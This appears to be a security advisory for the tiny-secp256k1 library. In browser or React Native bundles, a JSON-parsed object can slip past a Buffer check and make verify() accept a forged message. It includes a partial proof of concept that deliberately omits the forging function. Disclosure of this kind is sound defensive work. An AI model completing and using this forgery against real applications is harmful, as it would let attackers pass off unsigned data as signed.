tiny-secp256k1 allows for verify() bypass when running in bundled environment

Summary

A malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is buffer package

Details

This affects only environments where require('buffer') is https://npmjs.com/buffer E.g.: browser bundles, React Native apps, etc.

Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as message, and those messages could trick verify() into returning false-positive true values

v2.x is unaffected as it verifies input to be an actual Uint8Array instance

Such a message can be constructed for any already known message/signature pair There are some restrictions though (also depending on the known message/signature), but not very limiting, see PoC for example

https://github.com/bitcoinjs/tiny-secp256k1/pull/140 is a subtle fix for this

PoC

This code deliberately doesn't provide reencode for now, could be updated later

import { randomBytes } from 'crypto'
import tiny from 'tiny-secp256k1' // 1.1.6

// Random keypair
const privateKey = randomBytes(32)
const publicKey = tiny.pointFromScalar(privateKey)

const valid = Buffer.alloc(32).fill(255) // let's sign a static buffer
const signature = tiny.sign(valid, privateKey)

// Prevent processing any unverified data by fail-closed throwing
function verified(data, signature) {
  if (!Buffer.isBuffer(data)) data = Buffer.from(data, 'hex')
  if (!tiny.verify(data, publicKey, signature)) throw new Error('Signature invalid!')
  return new Uint8Array(data)
}

function safeProcess(payload) {
  const totally = JSON.parse(payload) // e.g. json over network

  const message = verified(totally, signature)
  console.log(message instanceof Uint8Array)
  console.log(Buffer.from(message).toString('utf8'))  
}

const payload = reencode(valid, "Secure contain protect")
safeProcess(payload)

Output (after being bundled):

true
Secure contain protect����

Impact

Malicious messages could crafted to be verified from a given known valid message/signature pair